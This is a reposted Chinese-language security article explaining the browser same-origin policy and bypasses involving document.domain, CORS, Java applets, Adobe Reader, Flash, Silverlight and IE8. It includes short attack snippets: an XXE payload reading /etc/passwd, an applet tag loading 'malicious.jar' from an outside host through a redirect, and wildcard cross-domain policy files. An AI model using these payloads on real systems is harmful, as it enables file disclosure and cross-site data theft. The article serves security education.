同源策略詳解及繞過[轉]

瀏覽器有一個很重要的概念——同源策略(Same-Origin Policy)。所謂同源是指，域名，協議，端口相同。不一樣源的客戶端腳本(javascript、ActionScript)在沒明確受權的狀況下，不能讀寫對方的資源。

簡單的來講，瀏覽器容許包含在頁面A的腳本訪問第二個頁面B的數據資源，這一切是創建在A和B頁面是同源的基礎上。

同源策略是由Netscape提出的一個著名的安全策略，如今全部支持JavaScript 的瀏覽器都會使用這個策略。
實際上，這種策略只是一個規範，並非強制要求，各大廠商的瀏覽器只是針對同源策略的一種實現。它是瀏覽器最核心也最基本的安全功能，若是缺乏了同源策略，則瀏覽器的正常功能可能都會受到影響。

若是Web世界沒有同源策略，當你登陸FreeBuf帳號並打開另外一個站點時，這個站點上的JavaScript能夠跨域讀取你的FreeBuf帳號數據，這樣整個Web世界就無隱私可言了。

情景設想

將一個學校內的學生看做不一樣源的個體。雖然一個班級裏面有許多學生，可是他們都是互不相關的個體。學生家長請求老師提供同窗們的學習成績報告，老師會告訴家長，你只可以查看自家孩子的學習成績報告。

同理，學校收到請求要對一個學生的學習成績進行評價，那麼在出具評價報告以前，學校須要對請求者的身份進行確認。

這就是與瀏覽器密切相關的同源策略

繼續假設，學校容許任何人不通過身份確認查看學生的學習成績報告，這就和瀏覽器沒有同源策略同樣。
同源策略機制爲現代普遍依賴於cookie維護用戶會話的Web瀏覽器定義了一個特殊的功能，嚴格隔離不相關的網站提供的內容，防止客戶端數據機密性或完整性丟失。

同源策略重要嗎？

假設你已經成功登陸Gmail服務器，同時在同一個瀏覽器訪問惡意站點（另外一個瀏覽器選項卡）。沒有同源策略，攻擊者能夠經過JavaScript獲取你的郵件以及其餘敏感信息，好比說閱讀你的私密郵件，發送虛假郵件，看你的聊天記錄等等。

將Gmail替換爲你的銀行賬戶，問題就大條了。

SOP和DOM：同源策略與文檔對象模型

當咱們談論如何使用JavaScript訪問DOM時，咱們考慮了URL的三個要素（主機名 + 訪問協議 + 端口號）
若是不止一個站點擁有相同的主機名、訪問協議、端口號，那麼他是可以成功訪問到DOM的。然而，IE僅僅只是驗證主機名以及訪問協議，忽略了端口號。

在大多數狀況下，多個站點可能在同一根域（獲取源頁面的DOM）。

例如，cart.httpsecure.org須要訪問login.httpsecure.org來進行身份驗證。在這種狀況下，網站可使用document.domain屬性容許相同域下的其餘站點進行DOM交互。若是你容許cart.httpsecure.org與login.httpsecure.org進行交互，開發者須要在兩個站點的根域設置document.domain屬性。

document.domain = 「httpsecure.org」

這表示在當前頁面，httpsecure.org下的任何站點均可以訪問DOM資源。當你這樣設置後，你應該時刻保持警戒！好比說你部署在網絡上的另外一個站點about.httpsecure.org，假設這個站點存在漏洞，那麼cart.httpsecure.org這個站點也可能存在漏洞而且能夠訪問這個源。

若是攻擊者可以上傳一些惡意代碼，那麼about.httpsecure.org也會得到訪問其餘站點的權限。

SOP和CORS：同源策略與跨源資源共享

跨源資源共享（CORS）是一種容許多種資源（圖片，Css，字體，JavaScript等）在一個web頁面請求域以外的另外一個域的資源的機制。

使用XMLHttpRequest對象發起HTTP請求就必須遵照同源策略。具體而言，Web應用程序能且只能使用XMLHttpRequest對象向其加載的源域名發起HTTP請求，而不能向任何其它域名發起請求。跨源資源共享這種機制讓Web應用服務器能支持跨站訪問控制，從而使得安全地進行跨站數據傳輸成爲可能。

若是httpsecure.org源返回下面的響應頭，全部httpsecure.org的子域與根域就打開了一個雙向的通訊通道:

Access-Control-Allow-Origin: *.Httpsecure.org
Access-Control-Allow-Methods: OPTIONS, GET, POST, HEAD, PUT
Access-Control-Allow-Headers: X-custom
Access-Control-Allow-Credentials: true

在上面的響應頭中，第一行定義了雙向通訊通道，第二行定義了請求可使用OPTIONS, GET, POST, PUT, HEAD中的任何方式，第三行則是定義的響應頭，最後一行容許通過身份驗證的資源進行通訊。

SOP與plugins：同源策略與插件

註釋：若是在httpsecure.org:80安裝插件，那麼只能容許插件訪問httpsecure.org:80

因爲不一樣的繞過方法，在Java，Adobe Reader，Flash，Silverlight中實現同源策略是十分痛苦的。大多數瀏覽器都使用他們本身的方式實現同源策略，若是處在同一個IP地址，一些Java版本會認爲兩個不一樣的域名應用同一個同源策略。這對於虛擬主機環境（多個域名使用同一個IP）來講多是一個毀滅性的災難。

談論Flash player以及PDF reader插件，他們都有一個悠久的漏洞歷史。這些漏洞大多數都是容許攻擊者遠程執行任意代碼，這遠比同源策略繞過更可怕！

在Flash中，你能夠經過crossdomain.xml管理跨源通訊，該文件通常在根目錄下

<?xml version="1.0"?>
<cross-domain-policy>
<site-control permitted-cross-domain-policies="by-content-type"/>
<allow-access-from domain="*.httpsecure.org" />
</cross-domain-policy>

使用這段代碼的httpsecure.org子域能夠實現站點的雙向通訊，Crossdomain.xml還支持Java以及JavaScript插件。

SOP與UI redressing：同源策略與界面假裝

點擊劫持（clickjacking）是一種在網頁中將惡意代碼等隱藏在看似無害的內容（如按鈕）之下，並誘使用戶點擊的手段。該術語最先由雷米亞·格羅斯曼（Jeremiah Grossman）與羅伯特·漢森（Robert Hansen）於2008年提出。這種行爲又被稱爲界面假裝（UI redressing）。對於攻擊者同源策略繞過，方法各有不一樣。事實上一部分攻擊仍是利用同源策略沒有執行。

Java同源策略繞過

在Java1.7u17版本和1.6u45版本中，若是兩個主機名解析到同一個IP地址，那麼就不會執行同源策略（Httpsecure.org和 httpssecure.com解析到同一個IP地址）。Java applet（是一種在Web環境下，運行於客戶端的Java程序組件，每一個Applet的功能都比較單一）能夠解決跨院請求和讀取響應信息。

在Java6和Java7版本，若是兩個主機名解析到同一個IP地址，那麼會被認定爲兩個主機是相同的。

在Java同源策略中實現這種類型的漏洞，那會十分恐怖。特別是對於虛擬主機（多個域名解析到同一個IP地址）來講，那將是毀滅性的災難。

最重要的是，經過applet使用BufferedReader和InputStreamReader對象考慮有關的權限須要。在Java1.6不須要運行applet實現用戶交互，在1.7版本就不一樣了。如今用戶必須使用點擊播放特性(click to play feature)運行有簽名和沒有簽名的applet，這個特性可使用IMMUNITY來繞過而且致使了後來的CVE-2011-3546（在Java中同源策略繞過）。相似的在Adobe reader也發現了同源策略繞過。

<applet
code="malicious.class"
archive="http://httpsecure.org?redirect_to=

http://securityhacking123.com/malicious.jar"

width="100" height="100">
</applet>

Adobe Reader同源策略繞過

Adobe Reader在瀏覽器插件中存在許多的安全問題，其大部分漏洞都是因爲溢出問題致使的任意代碼執行漏洞。在Adobe Reader PDF中可使用JavaScript，正是這個緣由，因此有不少惡意軟件將代碼隱藏在PDF文件之中。

CVE-2013-0622經過未明向量，遠程攻擊者利用該漏洞繞過預期的訪問限制。

若是咱們談論到XXE Injection，這涉及到試圖注入惡意負載到請求中，輸入以下：

<!DOCTYPE bar >
<!ELEMENT bar ANY >
<!ENTITY xxe SYSTEM "/etc/passwd" >]><bar>&xxe;</bar>

&XXE的值取而代之的是/etc/passwd，這項技術能夠被用到同源策略繞過，它會加載XE而且服務器會返回一個302重定向響應。

Adobe Flash同源策略繞過

Adobe Flash使用crossdomain.xml文件控制Flash接收數據。咱們能夠在該文件中添加限制，只信任添加在內的站點。

<?xml version="1.0"?>
<cross-domain-policy>
<site-control permitted-cross-domain-policies="by-content-type"/>
<allow-access-from domain="*" />
</cross-domain-policy>

經過設置allow-access-from屬性的域，您能夠容許訪問來自任何域的文檔。

Silverlight同源策略繞過

Silverlight是微軟推出的一款插件，其與Flash使用相同的同源策略。然而，其使用的clientaccess-policy.xml代碼以下所示：

<?xml version="1.0" encoding="utf-8"?>
<access-policy>
<cross-domain-access>
<policy>
<allow-from>
<domain uri="*"/>
</allow-from>
<grant-to>
<resource path="/" include-subpaths="true"/>
</grant-to>
</policy>
</cross-domain-access>
</access-policy>

 

請記住Silverlight與Flash是不一樣的，如Silverlight沒有隔離基於協議和端口的不一樣源的訪問，而Flash就會隔離。因此在Silverlight中 https://Httpsecure.org  和 http://Httpsecure.org  會被認爲是同源。

Internet Explorer同源策略繞過

Internet Explorer8以及前面的版本很容易經過document.domain實現同源策略繞過，經過重寫文檔對象，域屬性這個問題能夠十分輕鬆的被利用。

var document;
document = {};
document.domain = ‘httpsecure.org';
alert(document.domain);

 

若是你在最新的瀏覽器中運行這段代碼，可能在JavaScript控制檯會顯示一個同源策略繞過錯誤。

參考文獻

http://en.wikipedia.org/wiki/Same-origin_policy

http://en.wikipedia.org/wiki/Cross-origin_resource_sharing

http://en.wikipedia.org/wiki/Clickjacking

https://browserhacker.com/

 

轉自：http://www.freebuf.com/articles/web/65468.html